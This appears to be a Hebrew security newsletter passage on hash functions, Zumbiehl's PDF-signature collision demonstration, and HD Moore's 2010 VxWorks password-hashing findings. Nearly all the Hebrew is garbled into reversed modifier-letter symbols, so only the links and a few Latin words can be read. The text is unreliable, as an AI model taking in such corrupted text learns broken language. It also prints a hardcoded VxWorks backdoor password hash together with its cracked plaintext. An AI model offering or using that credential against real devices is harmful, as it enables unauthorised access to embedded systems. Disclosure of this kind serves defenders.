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ˣ˪˷ ˧˟ˬˣ˲ˢ ˥˸˲ˬˢ ˣˢˬ ˸˰ˡ˪ ˨˧˶˴ ˸˞ˤ ˸ˣ˷˰˪ ,˟˰ ˨˞ ˪˩˟ ˞˴ˬˮ˷ ˰ˡ˧ˬ ˶˟˩ ˢˤ ˫˧˶ˣ˷˧˞ ˧˵˧˲ˮˬ ˶ˣ

˭˲ˡ˲ˡ ,˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ (˫˧ˬ˸ˣ˥ ˣ˧˪˰˷ ˰ˡ˧ˬˢˬ ˡ˧˥˧ˣ ˡ˥˞ ˦˧˟ ˣ˪˧˲˞ ˫˧ˮ˷ˬ ˫˞˷ ˢˤ˩ ˭˲ˣ˞˟ˣ , ˢˬ˧˸˥ˢ

˨˶˰ ˸˶˯˥˪ ˡ˧˧ˬ ˸˩˲ˣˢ. 
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ˣˬ˴˰ ˰ˡ˧ˬˢ ˪˰ ˫˧ˬ˸ˣ˥ ˞˪ ˪˪˩ ˨˶ˡ˟˷ ˞˪˞ , ˪˰ ˞˪˞ˢ˸˧˴ˬ˸ ˣ˪˷ ,˫˰˲ˢ ˶˟ˡ˪ ˢ˴ˣ˶ ˧ˮ˞ ˢˤ ˪˰ˣ . ˧ˢˬ

˸˧˴ˬ˸ ˪˷ ˸ˣ˰ˬ˷ˬˢ ,ˢ˸ˣ˞ ˫˧˩˧˶˴ ˢˬ˪ , ˪˩ˬ ˟ˣ˷˥ˢˣ- ˸˧˲˧˴˲˯ ˢ˸ˣ˞ ˱ˣ˵˸˪ ˶˷˲˞ ˨˧˞? 

ˢˤ ˢˬˬ ˪˧˥˸ˮ . ˣˢ˷˪˩ ˰ˡ˧ˬ ˳˟ˣ˵ ˫˧˥˵ˣ˪ ˢ˟˷ ˢ˪ˣ˰˲ ˞ˣˢ ˸ˣ˴ˬ˸)˧ˢ˪ ˪ˣ˩˧˷ ˶˲˯ˬ ˭˟ ˦˯˵˦ ˳˟ˣ˵ ˸ˣ

˸ˣ˶ˣ˷ ,˫˧˦˧˧˟ ˢˠˬ ˸ˣ˞ˬ ˭˟ ˣ˞ˡ˧ˣ ˳˟ˣ˵ ,ˠ ˢˬ˩ ˭˟ ˯ˣˡˮ˧ˣˣ ˪˷ ˢˮ˵˸ˢ ˳˟ˣ˵ ˣ˞'˸ˣˠ˧ ( ˣ˧˪˰ ˫˧˪˧˰˲ˬˣ

 ˢ˶˴˵ ˫˧˦˧˟ ˸ˤˣ˶˥ˬ ˢ˶˧ˤ˥ˬ˷ ˢ˧˴˵ˮˣ˲) ˣ˞ ˞ˣˢ ˦˧˟0  ˣ˞1( , ˨˶ˣ˞˟ ˥˧ˮˮ256 ˫˧˦˧˟ . ˣˤˢ ˸ˤˣ˶˥ˬˢ ˪˰

 ˭˧˰ˬ ˪˰˩ ˟ˣ˷˥˪ ˭˸˧ˮ"˸˧ˡˣ˥˧˧ ˢˬ˧˸˥ "˳˟ˣ˵ˢ ˪˷ ,ˮ˷ ˢˬ ˢ˪˥˸ˢ˟ ˶ˤˣˬ ˡˣ˞ˬ ˡˣ˞ˬ ˰ˬ˷-  ˢ˪ˣ˩˧ ˡ˴˧˩

˳˟ˣ˵ ˵˧˧ˣˡˬ˟ ˶˞˸˪ ˢ˶˴˶˴˵ ˫˧˦˧˟ ˸ˤˣ˶˥ˬ ?ˢ˪ˣ˩˧ ˞˪ ˞˧ˢ ˭˩˞˷ ˞˧ˢ ˢ˟ˣ˷˸ˢ ,ˣˮ˪ ˰˧˶˲ˬ ˞˪ ˢˤ ˪˟˞. 

 ˰˟˴˞ ˸˰˧˟˦ ˪˰ ˣ˟˷˥- ˸˩˧˧˷ ˞˧ˢ ˣ˪˷ ˫ˡ˞ˢ ˪˰ ˰ˡ˧ˬ ˡˣ˞ˬ ˦˰ˬ ˢ˪˧˩ˬ ˰˟˴˞ ˸˰˧˟˦˷ ˸ˣ˶ˬ˪ , ˞˧ˢ

˵˧ˣˡˬ˟ ˦˰ˬ˩ ˣ˸ˣ˞ ˢˢˤˬ .˸˞ ˪ˣ˞˷˪ ˡ˧ˬ˸ ˶˷˲˞  ˧˪˰˟ ˫˧˷ˮ˞ ˧ˮ˷ ˣ˧ˢ˧ ˞˪˷ ˣˮ˪ ˥˧˦˟ˬ ˢˬ ˢ˪˞˷ˢ

˰˟˴˞ ˸˰˧˟˦ ˢ˸ˣ˞ ,˪ ˡˣ˞ˬ ˢˤ ˨˞ ˣ˧ˢ˧˷ ˭˩˸˧˧˷ ˞˧ˢ ˢ˟ˣ˷˸ˢˣ˶˧˟˯ ˞. 

 

ˢ˵˧˦ˬ˸ˬ ˸˴˵ 

 

˭ˣ˟˷˥ ˸˴˵ ˸ˣ˷˰˪ ˨˧˶˴ ˸ˣ˧˴ˬ˸˪ ˫ˠ ˱˵˸ ˢˤ ˢˬ˪ ˭˧˟ˢ˪ ˧ˡ˩ . ˭˩˞ ˭ˢ ˣˮ˪˷ ˸ˣ˧˴ˬ˸ˢ ˪˩˷ ˥˧ˮˮˣ ˢ˟ˢ

 ˪ˡˣˠ˟256 ˫˧˦˧˟ ,ˣ˲ ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲˷ ˥˧ˮˮ ˭˩ ˣˬ˩ˣ ˪˟˵ˬ ˳˟ˣ˵ ˪˩˷ ˸˧˴ˬ˸ˢ ˨˶˰˷ ˢˤ˩ ˭˲ˣ˞˟ ˸˪˰

 ˭˧˦ˣ˪˥˪ ˧˞˶˵˞ ˢ˞˶ˮ-  ˨˶ˣ˞ˬ ˸ˣˤˣ˶˥ˬˢˬ ˸˥˞ ˣˮ˪˶ˠˢ ˣ˪˧˞˩256 ˸ˣˬ˧˧˵ˢ .˭ˮ˷˧ ˸ˣ˧˴ˬ˸ ˢˬ˩ ? ˭ˣ˟˷˥

˷ ˢ˞˶ˬ ˦ˣ˷˲- .˷˶ˣ˲ˬ˟ ˣ˸ˣ˞ ˫˧˟˸ˣ˩˷˩ ˶˸ˣ˧ ˫˧˷˶ˬ ˢ˞˶ˮ ˢˤˢ ˶˲˯ˬˢ: 

 

 ˢ˲ ˸ˣˡ˟ˣ˰ ˸ˣ˪˧ˠ˶ˢ ˸ˣ˧ˠˣ˪ˮ˞ˢ- ˢ ˶˲˯ˬ˪ ˣ˪ˡˣˠ˟ ˟ˣ˶˵ ˧ˡ˷ ˶˲˯ˬ ˢˤ˫ˣ˵˧˟ ˨˶˰ˣˬˢ ˫˧ˬˣ˦˞ .ˣ˧˷˩˰ ,

ˣ˶˴ˣˮ ˶˟˩ ˟˷˥ˬ ˧˴˟˵ ˢˬ˩ ,˧˷ˣˮ˞ˢ ˭˧ˬˢ ˪˷ ˢ˧˶ˣ˦˯˧ˢˢ ˪˩ ˨˪ˢˬ˟ ?˫˧ˡ˶˞˧˪˧ˬ ˡ˶˞˧˪˧ˬ ˡ˶˞˧˪˧ˬ ?

ˢˤˢ ˶˲˯ˬˢ ˫˧ˬ˰˲ ˡ˶˞˧˪˧ˬ ?ˢˤˢ ˶˲˯ˬˢ ˫˧ˬ˰˲ ˡ˶˞˧˪˧ˬ ?˸˞ ˣ˪˧˲˞ ˡ˶ˠˬ ˞˪ ˭˧˧ˡ˰ ˢˤ.  ˶ˣ˴˧˵˟- 

˫˪ˣ˩˪ ˫ˣ˵ˬ ˷˧ .ˬ ˢ˸˧˧ˢ ˞˪ ˞˧ˢ ˸ˮˣˣ˩ˬ ˡ˧ ˢ˪˰ˬ˪ ˢ˸˧˧ˢ ˫˞ ˭˟ ˧ˡˣ˥˧˧ ˢˢˤˬ ˸˸˪ ˢ˷˵˸256  ˫˧˦˧˟

˶˴ˣˮ ˫˰˲ ˧˞˷ ˳˟ˣ˵ ˪˩˪ . ˸ˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˫˧˩˧˶˴ ˭˩˪ˣ ˣˤ˩˷ ˡ˧ ˫˧˶˧˩ˬ ˞˪ ˣˮ˥ˮ˞˷ ˞˧ˢ ˢ˧˰˟ˢ

 ˫ˡ˞ ˧ˡ˧ ˢ˷˰ˬ- ˭˸˧ˮˢ ˪˩˩ ˸ˣ˶˧ˢˬˣ ˸ˣ˦ˣ˷˲ ˸ˣ˧ˢ˪ ˸ˣ˩˧˶˴˷ ˸ˣ˧˴˵ˮˣ˲. 

ˢˤ˷ ˢˬ ˢˤ ˤ˞ .ˢˤ ˸˞ ˨˧˶˴ ˢˬ˪ ˪˟˞ ?˶ˬ˞ˮ ˶˟˩˷ ˧˲˩ ,ˬ˧˯ ˫˧˞˸ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˸˯˧˲ ˪˩˪ ˢˢˤˬ ˭

˫˪ˣ˰˟ ˰ˡ˧ˬ . ˫˧˴˟˵ ˸ˡ˶ˣˢ˟ ˞ˣˢ ˢˤˢ ˰ˡ˧ˬˢ ˪˷ ˢˬˠˣˡ˪ ˡ˥˞ ˷ˣˬ˧˷-  ˢ˰˟˶˞ ˭˟ ˳˟ˣ˵ ˡ˧˶ˣˢ˪ ˣˮˬ˧˧˯

'ɣˣ˸˧˞ ˶ˡ˯˟ ˪˩ˢ˷ ˞ˡˣˣ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ˣ ˢˠ˧ ? ˶ˬ˷ˮ˷ ˸ˣ˴ˬ˸˪ ˫˧ˣˣ˷ˬˣ ˣ˪˷ ˸ˣ˴ˬ˸ˢ ˸˞ ˫˧˟˷˥ˬ ˣˮ˥ˮ˞

 ˳˟ˣ˵ˢ ˸˞ ˣˮ˪ ˵˲˧˯˷ ˶˸˞ ˣ˸ˣ˞˟)ˢˤ ˸˞ ˫˧˷ˣ˰˷ ˫˧˶˸˞ ˫˧ˬ˰˲˪ ˷˧ .˞˟˸ˬ .(!˫˧ˣˣ˷ ˫ˢ ˫˞ ,˟ˣ˦ . ˫˞

 ˞˪-  ˷˟˸˷ˢ ˣˢ˷ˬ˷ ˢ˞˶ˮ˩)˸ˣ˰˦˟ ˣ˞ ˭ˣˡˤ˟ (ˣˮˡ˶ˣˢ˷ ˳˟ˣ˵˟ . ˷ˬ˸˷ˢ˪ ˸ˣˠˢˣˮ ˳ˣˣ˧˩ ˸ˣˮ˩ˣ˸ ˫ˠ

 ˢ˪˵˸ ˢ˰˶˞ ˞˪ˣ ˳ˣˣ˩˷ ˢˬ˪ ˫˧ˬ˧˞˸ˬ ˭˩˞ ˣ˥˸˲ˮ˷ ˫˧˴˟˵ˢ˷ ˵ˣˡ˟˪ ˧ˡ˩ ˸ˣ˴ˬ˸ ˪˷ ˫˧˦ˣ˷˲ ˫˧ˠˣ˯˟

 ˧ˢ˷˪˩- ˣˬ ˢ˞˧ˠ˷ ˸˰ˡˣˢ˟ ˪˵˸˧ˢ˪ˣ ˳ˣˣ˩ˬ ˳˟ˣ˵ ˡ˧˶ˣˢ˪ ˫˩˪ ˞˴˧ ˫˞ ˣˬ˩ ˫˧˪˧ˬ ˱ˣ˶˧˴ ˢ˪˧˩ˢ˷ ˢ˶ˤ

CRC  ˣ˩ˣ˸˟- ˣˮˬˬ ˳˪ˣ˥˷ ˰ˡ˧ˬ˪ ˫˧˞˸ˬ ˞˪ ˳˟ˣ˵˟ ˶ˣˬ˷ˢ ˸ˣ˴ˬ˸ˢ˷ ˨˩ ˪˰ ˢˮˮˣ˪˸ˢ ˢˮ˩ˣ˸ˢ. 

http://he.wikipedia.org/wiki/%D7%A4%D7%95%D7%A0%D7%A7%D7%A6%D7%99%D7%99%D7%AA_%D7%92%D7%99%D7%91%D7%95%D7%91
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˸ˣˬ˧˸˥ ˪˷ ˧˸˶˞˧˸ ˶˟˩˷ ˶˷˵ˢ˟ ˞ˣˢ ˶˥˞ ˷ˣˬ˧˷ . ˸ˣˬ˧˧˵ˢ ˢˬ˧˸˥ˢ ˸ˣ˦˧˷˷ ˞˧ˢ ˸ˣˬ˧˸˥˟ ˢ˧˰˟ˢ

 ˡˣ˞ˬ ˸ˣˮ˦˵ ˰ˡ˧ˬ ˸ˣ˯˧˲ ˪˰ ˟ˣ˶˪ ˸ˣ˪˰ˣ˲- ˫˧˦˧˟ ˸ˣ˞ˬˬ ˶˸ˣ˧ ˞˪ . ˧ˡ˩ ˸˯˧˲ ˪˰ ˢˬ˧˸˥˟ ˷ˬ˸˷ˢ˪

ˡ˶˲ˮ˟ ˢ˯˧˲ ˪˩ ˪˰ ˪ˣ˰˲˪ ˤ˞ˣ ˸ˣˮ˦˵ ˸ˣ˯˧˲˪ ˢ˸ˣ˞ ˵˶˲˪ ˨˧˶˴ ˶˸ˣ˧ ˢ˪ˣˡˠ ˰ˡ˧ˬ . ˸˧˸˧˧˰˟ ˢ˷˧ˠ ˣˤ

ˡˣ˞ˬ , ˧˵˥˷ˬ ˵˥˷˪ ˢ˧ˢ˧ ˶˷˲˞˷ ˞ˣˢ ˢ˷ˣ˶˧˲ ˧˩"˵˸˰ˢ-˵˟ˡˢ "ˢˬ˧˸˥ˢ ˫˰ .˪˷ˬ˪ , ˣˮ˪ ˷˧˷ ˥˧ˮˮ

ˣˮ˪˷ ˶˸˞ˢ ˪˷ ˸˟ˣ˸˩ˢˣ ˫˷ˢ ˸˞ ˪˧˩ˬ˷ ˧˟ˬˣ˲ ˥˸˲ˬ ˪˷ ˶ˣ˷˧˞ ,˲ˬˢ ˸˞ˣˣˮ˪˷ ˧˟ˬˣ˲ˢ ˥˸ ,

 ˡ˶˲ˮ˟ ˣ˪˪ˢ ˰ˡ˧ˬˢ ˸ˣ˯˧˲ ˧˸˷ ˪˰ ˞˧ˢ ˢˬ˧˸˥ˢˣ- ˸˟ˣ˸˩ˢˣ ˫˷ˢ ˪˰ ˸˥˞ ˢˬ˧˸˥ ˫˧˪˟˵ˬ ˣˮ˥ˮ˞ ,

˥˸˲ˬˢ ˪˰ ˸˶˥˞ ˢˬ˧˸˥ˣ .ˢ˷˰ˮ˷ ˢˬ ,˸ˣˬ˶˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞ , ˭ˣˤˬ˞ ˪˷ ˶ˣ˷˧˞ˢ ˸˞ ˸˥˵˪ ˢ˧ˢ˧- 

˸˟ˣ˸˩ˢˣ ˫˷ˢ ˪˰ ˸ˡ˶˲ˮ ˢˬ˧˸˥ ˪˧˩ˬ ˞ˣˢ ˫ˠ˷ ,˥˸˲ˬˢ ˪˰ ˸ˡ˶˲ˮ ˢˬ˧˸˥ˣ ,˞ ˶ˣ˴˧˪ˣ ˶ˣ˷˧"˟˪ˣ˷ˬ "

˭ˣˤˬ˞ ˪˷ ˸˟ˣ˸˩ˢˣ ˫˷ˢ ˸˞ ˪˧˩ˬ˷ ,ˣˮ˪˷ ˧˟ˬˣ˲ˢ ˥˸˲ˬˢ ˸˞ˣ ...ˢ˞˴ˣ˸ˢ ? ˭˧˶ˡˢˬ˪ ˫ˣ˸˥ ˶ˣ˷˧˞

˶˵˞ˢ ˪˩ ˪˷ ˣˬˣ˪˥ ˞ˣˢ˷ .˶ˣ˴˧˵˟ ,˵˯˰ ˞˪ ˢˤ . ˸˥˞ ˪˩ ˪˰ ˫ˣ˸˥˪ˣ ˸ˣ˯˧˲˪ ˰ˡ˧ˬˢ ˸˞ ˵˶˲˪ ˶˷˲˞ ˧˞

 ˡ˶˲ˮ˟-  ˣˢ˷˩˧˞ ˨˧˶˴"˟˟˶˰˪ ."˰ˡ˧ˬˢ ˪˩ ˸˞ ˸˥˵˪ ˞ˣˢ ˶˸ˣ˧˟ ˷˵˟˸ˬˢ ˭ˣ˶˸˲ˢ ,˪ ˣ˧˪˰ ˪˧˰˲ˢ

˸ˣ˴ˬ˸ , ˢˬ˴˰ ˸˧˴ˬ˸ˢ ˪˰ ˫ˣ˸˥˪ ˤ˞ˣ-  ˨˩ ˪˩ ˞˧ˢ˷˫ˣ˪˩˪ ˢ˸ˣ˞ ˵˶˲˪ ˨˶ˣ˴ ˭˧˞˷ ˢˮ˦˵. 

 ˫˧˴˟˵ˢ ˦ˬ˶ˣ˲˟ ˢˣˣ˪ˬˢ ˢˬ˸˥ˢˢ ˭ˣˮˠˮˬ˟ ˭ˬˤˬ ˞˪ ˢ˞˴ˬˮ˷ ˢ˷˪ˣ˥˟ ˸ˣ˞˶˪ ˭˸˧ˮ ˨˩˪ ˢ˟ˣ˦ ˢˬˠˣˡ

PDF ) ˢ˯˶ˠˬ1.3 .( ˧ˮˬ˶ˠˢ ˢ˥˦˟˞ˢ ˶˵ˣ˥ ˧ˡ˧ ˪˰ ˢ˸˪ˠ˸ˢ ˢˬˠˣˡˢFlorian Zumbiehl  ˢˬ˯˶ˣ˲ˣ

˰˟˟ ˦˯ˣˠˣ˞˪ ˧˶˧˷-bugtraq ,˞˟ˢ ˡˣˬ˰˟ ˢ˧˸ˣˡˣ˞ ˞ˣ˶˵˪ ˭˸˧ˮ: 

http://pdfsig-collision.florz.de/ 

 

ˬ˶ˣ˲˟ ˸ˣ˰ˡˣˢ ˧˸˷ ˶ˣ˴˧˪ ˥˧˪˴ˢ ˶˵ˣ˥ ˣ˸ˣ˞ ˧˩ ˞ˣ˶˵˪ ˭˸˧ˮ ˢˬˠˣˡ˟ ˦PDF ˸˧˪˩˸˟ ˢˮˣ˷ ˰ˡ˧ˬ ˸ˣ˪˧˩ˬˢ ,

˸˥˞ ˸˧˪˧ˠ˧ˡ ˢˬ˧˸˥ ˸ˣ˲˸˷ˬˢ: 

 

http://seclists.org/bugtraq/2010/Aug/131
http://pdfsig-collision.florz.de/
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˸˞ˤ ˵ˣˡ˟˪ ˭˧˧ˮˣ˰ˬ˷ ˧ˬ˪ ,˭˞˩ˬ ˫˧˴˟˵ˢ ˸˞ ˡ˧˶ˣˢ˪ ˭˸˧ˮ: 

http://pdfsig-collision.florz.de/letter_of_rec.pdf 

http://pdfsig-collision.florz.de/order.pdf 

˪ ˶ˣ˷˧˵ ˡ˧˶ˣˢ˪ ˭˸˧ˮ ˭˞˩ˬˣ-Root CA )˭˩ˬ ˶˥˞˪ ˣ˸ˣ˞ ˶˧˯ˢ˪ ˥ˣ˩˷˪ ˞˪:( 

http://pdfsig-collision.florz/rootca.pem 

˞˶˪ ˭˸˧ˮ˷ ˣˬ˩˸ˣ , ˪˟˵ˮ˷ ˦˪˲˟ ˰ˣˠ˲˪ ˧˪˟ˬ ˸˞ˤ ˪˩ˣ ˢ˰ˡˣˢˢ ˭˩ˣ˸ ˸˞ ˱˧˧ˤ˪ ˭˸˧ˮ  ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˧ˡ˧ ˪˰

˸ˣ˴ˬ˸ ˸˪ˣ˰˲˟ .˭˩ˣ˸ ˸ˣˮ˷˪ ˪˩ˣˮ ˨˩/˫˧˧ˣ˯ˬ ˳˟ˣ˵ ˪˷ ˪˪ˬ , ˧ˣˢ˧ˤˢ ˧ˮˣˮˠˮˬ ˧ˡ˧ ˪˰ ˢ˪ˠ˸ˮ ˞˪ ˸˞ˤ ˪˩˟ˣ

ˣ˟ ˫˧ˬ˧˧˵ˢ. 

 

˟ ˸ˣ˞˶˪ ˭˸˧ˮ ˨˩˪ ˸˲˯ˣˮ ˢˬˠˣˡˢ˲˧˷˥  ˢ˥˦˟˞ˢ ˶˵ˣ˥ ˢˮˣ˶˥˞˪ ˢ˪˧ˠ˷HD Moore  ˸ˣˢˡˤˢˢ ˭ˣˮˠˮˬ˟

 ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷VxWorks ) ˸˩˶˰ˬembedded .(ˢ˩˶ˡ ˸˪˧˥˸˟ , ˸˞ ˸ˮ˯˥˞ˬ ˢ˸˧˧ˢ ˸˩˶˰ˬˢ

˩ ˫˧˷ˬ˸˷ˬˢ ˸ˣ˞ˬ˯˧˯-Clear-Text ,ˣ˩˧ ˢ˧ˢ ˸ˣ˞ˬ˯˧˯ˢ ˭ˣ˯˥˞ ˶ˣˤ˧˞˪ ˢ˷˧ˠ ˪˰˟ ˷ˬ˸˷ˬ ˪˩ ˨˩ ˪

˸˩˶˰ˬ˟ ˫˧˷ˬ˸˷ˬˢ ˶˞˷ ˪˷ ˫ˢ˧˸ˣ˞ˬ˯˧˯ ˸˞ ˸ˣ˪ˡ˪ ˸ˣ˪˵˟ .˸˞ˤ ˰ˣˮˬ˪ ˧ˡ˩˟ ,Wind River  ˣ˷ˬ˧ˬ

 ˫˷˟ ˭ˣˮˠˮˬvxencrypt ) ˡˣ˵ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ˭˞˩ (˸ˣ˞ˬ˯˧˯ˢ ˟ˣ˟˧ˠ˪ , ˸ˮ˯˥˞ˬ ˢ˸˧˧ˢ ˸˩˶˰ˬˢ˷ ˨˩

ˬ˸˭ˬ˴˰ ˸ˣ˞ˬ˯˧˯ˢ ˸˞ ˫ˣ˵ˬ˟ ˸ˣ˞ˬ˯˧˯ˢ ˪˷ ˸ˣ˴. 

 ˵˷ˬˬ ˨˶ˡ ˸˩˶˰ˬ˪ ˸ˣˢˡˤˢˢ ˸˪ˣ˰˲Telnet  ˶ˣ˟˧˥ ˣ˞FTP  ˷ˬ˸˷ˬˢ ˶˷˞˩˷ ˢˤ˩ ˭˲ˣ˞˟ ˰˴˟˸ˬ

˸ˣˢˡˤˢˢ ˵˷ˬˬ˟ ˣ˸ˬ˯˧˯ ˸˞ ˯˧ˮ˩ˬ ,˪˰ ˟ˣ˟˧ˠ ˸˶˟ˣ˰ ˢˬ˯˧˯ˢ- ˸˩˶˰ˬˢ ˢ˟˷ ˢ˧˴˵ˮˣ˲ˢ ˢ˸ˣ˞ ˧˲

 ˸˰˴˟˸ˬ ˭˩ˬ ˶˥˞˪ ˵˶ˣ ˸˧˶ˣ˵ˬˢ ˢˬ˯˧˯ˢ ˸˞ ˭˯˥˞˪ ˧ˡ˩˟ ˢ˷ˬ˸˷ˢ ˦˪˵ˢ ˸ˣ˴ˬ˸ ˭˧˟ ˢ˞ˣˣ˷ˢ

˸˩˶˰ˬ˟ ˸ˮ˯˩ˣ˞ˬˢ ˸ˤˣ˶˥ˬˢ ˭˧˟˪ ˯˧ˮ˩ˢ ˷ˬ˸˷ˬˢ˷ .˸˧˟ˣ˧˥ ˸˶ˤˣ˥ ˢ˸˧˧ˢ ˢ˞ˣˣ˷ˢˢˣ ˢˡ˧ˬ˟- 

˸˩˶˰ˬ˪ ˶˟˥˸ˢ˪ ˷ˬ˸˷ˬ˪ ˸˶˷˲˞ˬ ˸˩˶˰ˬˢ. 

˨˩ , ˸ˣ˞ˬ˯˧˯ˢ ˭ˣ˯˥˞ ˶ˣˤ˧˞˪ ˢ˷˧ˠ ˪˰˟ ˷ˬ˸˷ˬ ˫ˠˣ ˥˦˟ˣ˞ˬ ˭˲ˣ˞˟ ˸˩˶˰ˬ˪ ˸ˣˢˡˤˢ ˰˴˟˪ ˭˸˧ˮ ˫ˠ

˞ˬ˯˧˯ˢ ˭ˢ ˢˬ ˸˰ˡ˪ ˪ˣ˩˧ ˣˮ˧˞ ˸˩˶˰ˬ˟˫˧˷ˬ˸˷ˬˢ ˶˞˷ ˪˷ ˸ˣ. 

ˢ˲˧ˣ ˟ˣ˦ ˪˩ˢ ˭˞˩ ˡ˰ ,˷ ˢ˷˪ˣ˥ˢ ˨˞-HD Moore ˠ˧˴ˬ , ˤˣ˥˞ˬ ˸˪˟ˣ˯ ˟ˣ˟˧ˠ ˸˧˧˴˵ˮˣ˲ ˢ˸ˣ˞ ˧˩ ˢ˞˶ˬ

˸ˣ˧ˣ˷ˠˮ˸ˢ ˪˷ ˡˣ˞ˬ ˪ˣˡˠ ,ˣˤ ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩˷ ˸˶ˬˣ˞ ˸˞ˤ , ˦˪˲ˢ ˣ˸ˣ˞ ˸˞ ˪˟˵˪ ˭˸˧ˮ

)˸˟˟ˣˠˬ ˸ˤˣ˶˥ˬ ( ˫˧ˮˣ˷ ˫˧˦˪˵ ˶˲˯ˬˬ)˯˧ˮ˩ˬ ˷ˬ˸˷ˬˢ˷ ˸ˣ˞ˬ˯˧˯ .(HD Moore  ˸˞ ˸ˣˢˤ˪ ˥˧˪˴ˢ

 ˷ˣˬ˧ˬ˪ ˪˞˧˴ˮ˦ˣ˲˩ ˸˞ˤˢ ˢ˷˪ˣ˥ˢBrute Force . 

http://pdfsig-collision.florz.de/letter_of_rec.pdf
http://pdfsig-collision.florz.de/order.pdf
http://pdfsig-collision.florz/rootca.pem
http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html
http://www.2beanet.com/vxworks/target/src/ostool/loginLib.c.html
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 ˸ˣ˥˲˪ ˸˟ ˢˬ˯˧˯ ˯˧ˮ˩ˢ˪ ˷ˬ˸˷ˬˢˬ ˸˷˶ˣˡ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˸ˣ˞ˬ˯˧˯ˢ ˸˰˧˟˵ ˸ˣ˧ˮ˧ˡˬ8  ˫˧ˣˣ˸

ˬ ˶˸ˣ˧ ˞˪ˣ-40 ˫˧ˣˣ˸ ,˫˧˷ˬ˸˷ˬˢ ˸ˣ˞ˬ˯˧˯ ˸˞ ˷˥ˮ˪ ˭˸˧ˮ ˧˸˪˟ ˦˰ˬ˩ ˢ˷˰ˬ˪˷ ˨˩ .HD Moore  ˠ˧˴ˢ

 ˭ˮ˷˧ ˢ˷˰ˬ˪ ˧˩"ˢ ˸ˣ˟˧˟˯˟- "210,000 ˢ˧˴˵ˮˣ˲˪ ˫˧ˮˣ˷ ˫˧˦˪˲ ˧ˠˣ˯ , ˢˬ˯˧˯ˢ ˸˞ ˷˥ˮ˪ ˨˶ˣ˴ ˭˧˞˷ ˨˩

˸˧˶ˣ˵ˬˢ ,ˬ ˡ˥˞ ˸˞ ˷˥ˮ˪ ˵˧˲˯ˬ ˞˪˞-210,000  ˸˧˴˵ˮˣ˲˪ ˫ˣ˶ˠ˪ ˨˩ˣ ˸ˣ˷ˠˮ˸ˢ˪ ˫ˣ˶ˠ˧˷ ˫˧˦˪˵ˢ

˸˩˶˰ˬ˪ ˸ˣˢˡˤˢˢ ˨˧˪ˢ˸˟ ˸˧˟ˣ˧˥ ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ˪ ˢ˞ˣˣ˷ˢˢ. 

˷ ˢˬˠˣˡ˟-HD Moore ˟ ˠ˧˴ˢ-Bugtraq ˤˣ˶˥ˬˢ ˶˷˞˩ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ˸" "insecure  ˢˬ˯˧˯˩ ˸˶ˬ˷ˮ

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ,˩ ˸˶ˬ˷ˮ ˞˧ˢ-""Ry99dzRcy ,ˢˬˠˣˡˢ ˢ˸ˣ˞˪ ˨˷ˬˢ˩ ,HD Moore  ˫ˠ ˧˩ ˠ˧˴ˢ

 ˸ˤˣ˶˥ˬˢ ˪˰ ˸ˣ˴ˬ˸ ˸˪ˣ˰˲" "s{{{{{^Oˢˢˤ ˢ˞˴ˣ˸ ˠ˧˷˸. 

˫˧˲˵˸ˣˬ˩ ˣˢˣˤ ˶˷˞ ˸ˣˮˣ˟˷˥ ˸˪˧˰ˮ˟ ˸˩ˬˣ˸ ˢˮ˧˞ ˸˶˟ˣˡˬˢ ˸˩˶˰ˬˢ˷ ˢˡ˟ˣ˰˟ ˟˷˥˸ˢ˟ , ˥˴˲˪ ˭˸˧ˮ

˧ ˞˪˟ ˭ˣ˟˷˥ ˪˩ˢ˰˷ ˧˴˥ˬ ˶˸ˣ. 

ˢ˪˞˷ˢ ˸˪˞˷ˮ ˸˰˩-  ˸ˣ˴ˬ˸ ˸˧˴˵ˮˣ˲ ˧ˢˬ"ˢ˟ˣ˦" ?˦˶˲˟ , ˸˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞

˫˧˧˲˶ˠˣ˦˲˧˶˵ ˫˧˷ˣˬ˧˷˟ ˸ˣ˴ˬ˸ˢ ,ˡˣ˞ˬ ˫˩˥ˣ˸ˬ ˶˵˞ˢ ˷˧ ˧ˮ˷ˢ ˡ˴˟˷ ˭ˣ˟˷˥˟ ˞˧˟ˢ˪ ˫˧˩˧˶˴ ˭˩˪ˣ ,

˫˧˧˵˸ ˢ˧˴˵ˮˣ˲ˢ˷ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˢˬ ?˸˧˷˞˶ ,˟ˣ˷˧˥˪ ˢ˪˵ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˞˧ˢ , ˦˶˲ ˪˟˞ ˫˧ˮˣˬ ˟ˣ˶˪ ˨˩˪

˸ˣ˧˶˵˧˰ ˸ˣˮˣ˩˸ ˷ˣ˪˷ :ˢ˸ˣ˞ ˨ˣ˲ˢ˪ ˢ˷˵ ˢ˧ˢ˧˷ ,˸ˣ˧ˣ˷ˠˮ˸ˢ ˢ˪ ˞ˣ˴ˬ˪ ˢ˷˵ ˢ˧ˢ˧˷ , ˢ˷˵ ˢ˧ˢ˧˷ˣ

 ˢ˧˧ˮ˷ ˢˮˣˬ˸ ˢ˶ˣ˟˰ ˞ˣ˴ˬ˪)Second Preimage .(ˡ˶˲ˮ˟ ˢˮˣ˩˸ ˪˩ ˪˰ ˶ˣ˟˰ˮ ˣ˞ˣ˟. 

